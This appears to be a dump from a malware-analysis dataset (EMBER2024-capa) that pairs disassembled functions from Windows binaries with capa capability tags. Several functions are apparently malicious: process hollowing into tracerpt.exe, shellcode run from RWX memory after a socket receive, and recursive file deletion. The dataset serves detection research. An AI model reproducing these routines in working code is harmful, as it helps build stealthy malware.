joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005550
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov esi, r8d
mov r12, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rdi + 0x14], eax
je 0x180005593
nop dword [rax]
mov r9d, 1
xchg dword [rdi + 0x10], r9d
cmp r9d, 1
je 0x180005580
mov dword [rdi + 0x14], eax
inc dword [rdi + 0x18]
xor r13d, r13d
lea ebp, [rsi + 0xe]
cmp qword [rdi + 0x340], r13
jne 0x1800055aa
mov edx, r13d
jmp 0x1800055b6
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 4
call fcn.180001080
mov rax, qword [rdi + 0x348]
mov dword [rax], ebp
add qword [rdi + 0x348], 4
cmp qword [rdi + 0x340], r13
jne 0x1800055e4
mov edx, r13d
jmp 0x1800055f0
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 0xa
call fcn.180001080
mov rax, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x348]
mov qword [rcx], rax
movzx eax, word [rdi + 0x38]
mov word [rcx + 8], ax
add qword [rdi + 0x348], 0xa
cmp qword [rdi + 0x340], r13
jne 0x18000562b
mov eax, r13d
jmp 0x180005637
mov eax, dword [rdi + 0x348]
sub eax, dword [rdi + 0x340]
lea edx, [rax + rsi]
lea rcx, [rdi + 0x338]
call fcn.180001080
mov rcx, qword [rdi + 0x348]
mov r8, rsi
mov rdx, r12
call fcn.1800106e0
mov r11d, r13d
mov r9, r13
mov r10, r13
test esi, esi
jle 0x1800056c2
nop word [rax + rax]
movzx ecx, byte [rdi + r9 + 0x30]
mov r8, qword [rdi + 0x348]
inc r9
mov eax, 0x20f30021
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x7c5
sub ecx, edx
mul r11d
add cl, 0x36
xor byte [r10 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r11d, ecx
cmove r9, r13
inc r11d
inc r10
cmp r11d, esi
jl 0x180005670
add qword [rdi + 0x348], rsi
cmp qword [rdi + 0x340], r13
jne 0x1800056d7
mov r8d, r13d
jmp 0x1800056e5
mov r8d, dword [rdi + 0x348]
sub r8d, dword [rdi + 0x340]
mov rdx, qword [rdi + 0x340]
mov rcx, rdi
call fcn.180005750
mov r11, qword [rdi + 0x340]
lea rcx, [rdi + 0x338]
mov edx, 0x400
mov qword [rdi + 0x348], r11
call fcn.180001140
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rdi + 0x14]
mov eax, 1
jne 0x18000572c
dec dword [rdi + 0x18]
jne 0x18000572c
mov qword [rdi + 0x10], r13
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x180006fa0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa80
cmp byte [rdx], 0xc9
mov rdi, rdx
mov rbx, rcx
je 0x18000719a
cmp r8d, 0x65
jne 0x180007119
lea rax, [rdx + 1]
lea r8, [0x18006f3fc]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180006fe8
add rax, 2
test ecx, ecx
jne 0x180006fd4
xor edi, edi
test edx, edx
je 0x180007166
mov eax, 0x767b
lea rcx, [rsp + 0x4e]
xor edx, edx
mov word [rsp + 0x34], ax
mov eax, 0x5f55
mov r8d, 0x1e4
mov word [rsp + 0x36], ax
mov eax, 0x6a21
mov qword [rsp + 0xa90], rsi
mov word [rsp + 0x38], ax
mov eax, 0x5757
mov dword [rsp + 0x30], edi
mov word [rsp + 0x3a], ax
mov eax, 0x5f
lea esi, [rdi + 0x64]
mov word [rsp + 0x44], ax
mov eax, 0x62
mov dword [rsp + 0x3c], 0x64002e
mov word [rsp + 0x46], ax
mov eax, 0x69
mov dword [rsp + 0x40], 0x6c006c
mov word [rsp + 0x48], ax
mov dword [rsp + 0x4a], WSAStartup
call fcn.180018270
xor r11d, r11d
lea rcx, [rsp + 0x23c]
mov r8d, esi
xor edx, edx
mov qword [rsp + 0x234], 1
mov word [rsp + 0x232], r11w
call fcn.180018270
lea rcx, [rsp + 0x2a0]
xor edx, edx
mov r8d, 0x7d0
call fcn.180018270
xor r11d, r11d
mov ecx, 0xa45
mov dword [rsp + 0xa70], r11d
call fcn.18000fa64
lea rdx, [rsp + 0x30]
lea rcx, [rax + 1]
mov r8d, 0xa44
mov rdi, rax
mov byte [rax], 5
call fcn.1800106e0
cmp dword [rbx + 0x10], 0
mov rsi, qword [rsp + 0xa90]
jne 0x180007101
mov rcx, qword [rbx + 8]
mov r8d, 0xa45
mov rdx, rdi
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rdi
mov rbx, qword [rsp + 0xa98]
add rsp, 0xa80
pop rdi
jmp fcn.180010690
lea rcx, [0x18006f1f0]
inc rdx
mov r8d, 0xa44
call fcn.1800106e0
movsxd rdx, dword [0x18006f3f8]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x18006f3f8]
lea rdx, [rdi + 0xa45]
mov rcx, rax
mov qword [0x18006f1e0], rax
call fcn.1800106e0
xor edi, edi
lea r8, [0x180006dd0]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call fcn.180011128
mov ecx, 0xbb8
mov qword [rbx + 0x30], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax]
mov rbx, qword [rsp + 0xa98]
add rsp, 0xa80
pop rdi
ret
Function at 0x1800071b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
sub rsp, 0x6a0
mov rax, qword [0x180034800]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rbp, qword [0x18006f1e0]
mov rbx, rdx
xor edx, edx
movsxd rdi, ecx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.180018270
xor r11d, r11d
lea rcx, [rsp + 0xc0]
mov qword [rbx], r11
mov qword [rbx + 8], r11
xor edx, edx
mov r8d, 0x4d0
mov qword [rbx + 0x10], r11
call fcn.180018270
xor r12d, r12d
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x50], WSAGetLastError
mov dword [rsp + 0x8c], 1
mov word [rsp + 0x90], r12w
mov byte [rsp + 0x590], r12b
call fcn.180018270
lea rcx, [rsp + 0x590]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x590]
lea rdx, str._s_s
lea rcx, [rsp + 0x590]
mov byte [rsp + 0x593], r12b
call fcn.180007440
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x590]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180007374
mov rcx, qword [rbx]
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x6d0], rsi
mov dword [rsp + 0x20], 0x40
mov rsi, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x180007359
mov rcx, qword [rbx]
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180007359
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xf0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180007359
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x1b8], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x18000735d
xor eax, eax
jmp 0x18000736c
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x6d0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.1800106b0
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x6a0
pop r12
pop rdi
pop rbp
ret
Function at 0x180009a50
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x180034800]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov rbx, rcx
lea rcx, [rbp + 0x3b0]
xor edx, edx
mov r8d, 0x208
call fcn.180018270
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdi, [0x18002d380]
lea rdx, [rbp + 0x190]
movsxd rcx, eax
lea rax, [0x18002d198]
mov r8, rbx
cmp word [rbx + rcx*2 - 2], 0x5c
lea rcx, [rbp + 0x3b0]
mov dword [rbp + 0x190], 0x730025
cmove rdi, rax
mov dword [rbp + 0x194], 0x730025
mov dword [rbp + 0x198], 0x2e002a
mov r9, rdi
mov dword [rbp + 0x19c], 0x2a
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180009b1f
xor al, al
jmp 0x180009bdc
xor eax, eax
mov dword [rbp + 0x180], 0x730025
mov dword [rbp + 0x184], 0x730025
mov word [rbp + 0x18c], ax
mov dword [rbp + 0x188], 0x730025
cmp word [rsp + 0x5c], 0x2e
je 0x180009bb3
test byte [rsp + 0x30], 0x10
lea rax, [rsp + 0x5c]
mov r9, rdi
mov r8, rbx
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
je 0x180009b87
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x1a0]
call fcn.180009a50
jmp 0x180009bb3
call qword [sym.imp.USER32.dll_wsprintfW]
test byte [rsp + 0x30], 1
je 0x180009ba6
lea rcx, [rbp + 0x1a0]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180009b46
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.1800106b0
lea r11, [rsp + 0x6d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000b4f0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18000b554
cmp qword [0x1800713f0], 0
jne 0x18000b554
lea rcx, str.xiugaishiyong
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x1e
jle 0x18000b554
call fcn.180008d40
cmp dword [0x1800709e0], 0
je 0x18000b554
xor eax, eax
lea r8, [0x18000b1f0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x1800713f0], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x18000b560
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp qword [0x1800713f0], 0
jne 0x18000b5b4
call fcn.180008d40
xor r11d, r11d
lea r8, [0x18000b1f0]
mov qword [rsp + 0x28], r11
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x1800713f0], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x1800713f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x38
ret

Function at 0x18000b5c0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp qword [0x1800713f0], 0
mov rbx, rcx
jne 0x18000b635
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, str.xiugaishiyong
mov rdx, rbx
lea eax, [rax + rax + 2]
movsxd r8, eax
call fcn.1800106e0
call fcn.180008d40
xor r11d, r11d
mov qword [rsp + 0x28], r11
lea r8, [0x18000b1f0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x1800713f0], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x1800713f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x30
pop rbx
ret

Function at 0x18000b640
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x18000b1f0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x1800713f0], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x38
ret
Function at 0x18001683b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180034800]
jne 0x1800106ca
rol rcx, 0x10
test cx, 0xffff
jne 0x1800106c6
repz ret
ror rcx, 0x10
jmp 0x180016794
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18006e1f0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18006e2e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180016819
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18006e1f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18001683b
mov rax, qword [rsp + 0x88]
mov qword [0x18006e2e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18006e288], rax
mov rax, qword [0x18006e2e8]
mov qword [0x18006e160], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18006e270], rax
mov dword [0x18006e150], 0xc0000409
mov dword [0x18006e154], 1
mov rax, qword [0x180034800]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180034808]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18006e1e8], eax
mov ecx, 1
call fcn.1800205d4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18002a690]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18006e1e8], 0
jne 0x1800168c2
mov ecx, 1
call fcn.1800205d4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1800206e4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x180034800]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18001835c
xor ebx, ebx
cmp qword [0x18006f180], rbx
mov rdi, rax
jne 0x1800207f7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1800208ce
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800208ce
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18006f180], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18006f188], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x18002cfc0]
mov rcx, rsi
mov qword [0x18006f190], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x18006f1a0], rax
test rax, rax
je 0x1800207ee
lea rdx, [0x18002cfa8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x18006f198], rax
jmp 0x1800207fe
mov rax, qword [0x18006f198]
jmp 0x180020805
mov rax, qword [0x18006f198]
mov r11, qword [0x18006f1a0]
cmp rax, rdi
je 0x18002086c
cmp r11, rdi
je 0x18002086c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x18006f1a0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18002086c
test rax, rax
je 0x18002086c
call rsi
test rax, rax
je 0x180020866
lea rcx, [rsp + 0x30]
mov r9d, recv
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180020866
test byte [rsp + 0x40], 1
jne 0x18002086c
bts ebp, 0x15
jmp 0x1800208ac
mov rcx, qword [0x18006f188]
cmp rcx, rdi
je 0x1800208ac
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800208ac
call rax
mov rbx, rax
test rax, rax
je 0x1800208ac
mov rcx, qword [0x18006f190]
cmp rcx, rdi
je 0x1800208ac
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800208ac
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18006f180]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800208ce
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1800208d0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800106b0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140049cd0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140049cdd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140049ced
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140049cd5
lea eax, [rcx + 1]
jmp 0x140049cfb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140049d0e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140049cf4
sub eax, 3
jb 0x140049d2e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140049d7d
sar eax, 1
movsxd rbp, eax
jb 0x140049d64
jmp 0x140049d3c
add ebx, ebx
jne 0x140049d3a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140049d64
inc ecx
add ebx, ebx
jne 0x140049d4a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140049d64
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140049d5d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140049d4c
add ecx, 2
jmp 0x140049d69
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140049c92
jmp 0x140049cdd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29000
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140049dc9
cmp rsi, rcx
jae 0x140049dd1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140049db0
cmp al, 0x8f
ja 0x140049db0
cmp byte [rsi - 2], 0xf
je 0x140049db6
sub al, 0xe8
cmp al, 1
ja 0x140049d9a
cmp rsi, rcx
jae 0x140049dd1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140049da0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140049dd1
lodsb al, byte [rsi]
jmp 0x140049db0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x47000]
mov eax, dword [rdi]
or eax, eax
je 0x140049e2e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x491dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140049dde
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140049e28
mov qword [rbx], rax
add rbx, 8
jmp 0x140049dfe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140049e68
cmp al, 0xef
ja 0x140049e5a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140049e3a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140049e49
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140049ebc
sub rsp, 0xffffffffffffff80
jmp 0x140008e44
Function at 0x140bab108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140bab28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140bab139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bab11f
add dl, dl
jne 0x140bab146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bab1a6
xor eax, eax
add dl, dl
jne 0x140bab155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bab25d
add dl, dl
jne 0x140bab166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bab173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bab180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bab18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140bab19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140bab12e
mov eax, 1
add dl, dl
jne 0x140bab1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bab1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bab1ab
sub eax, ebx
mov ebx, 1
jne 0x140bab1fc
mov ecx, 1
add dl, dl
jne 0x140bab1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bab1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bab1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bab12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140bab218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bab225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bab20d
cmp eax, 0x7d00
jae 0x140bab24b
cmp eax, 0x500
jb 0x140bab246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bab12e
cmp eax, 0x7f
ja 0x140bab24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bab12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140bab282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140bab12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002138
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_a.a.a.a.eHandleW]
test rax, rax
je 0x140002182
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002182
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002182
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002182
cmp dword [rcx + 0x84], 0xe
jbe 0x140002182
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002184
xor al, al
add rsp, 0x28
ret